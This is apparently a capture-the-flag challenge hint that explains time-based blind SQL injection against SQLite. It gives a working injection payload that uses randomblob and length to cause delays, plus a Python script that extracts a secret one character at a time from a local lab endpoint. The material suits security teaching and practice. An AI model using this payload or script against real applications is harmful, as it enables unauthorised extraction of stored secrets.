Challenge Hint
Time-based blind SQL injection in SQLite.
Why it's blind
The endpoint returns only "User found" or "User not found" — no data is echoed. UNION-based extraction won't work here.
SQLite time delay technique
SQLite has no SLEEP(), but randomblob(N) generates N bytes of random data.
Large values take measurable time.
Two details matter, and both will cost you an afternoon if you miss them.
SQLite will not build a blob whose value nobody reads, so wrap it in
length(...) to force it. And the injected condition is only
evaluated for rows the query actually visits, so start from a username that
exists.
alice' AND (SELECT CASE WHEN (substr((SELECT value FROM secrets),1,1)='f')
THEN length(randomblob(100000000)) ELSE 0 END)>=0--
If the first character of the secret is f, the query delays ~0.5s.
Otherwise it responds immediately.
Automation script
import requests, time, string
BASE = "http://127.0.0.1:9203"
flag = ""
for pos in range(1, 60):
for char in string.printable:
payload = f"alice' AND (SELECT CASE WHEN (substr((SELECT value FROM secrets),{pos},1)='{char}') THEN length(randomblob(100000000)) ELSE 0 END)>=0--"
start = time.time()
requests.get(f"{BASE}/lookup", params={"username": payload})
if time.time() - start > 0.3:
flag += char
print(f"Flag so far: {flag}")
break
if flag.endswith("}"):
break
print("Flag:", flag)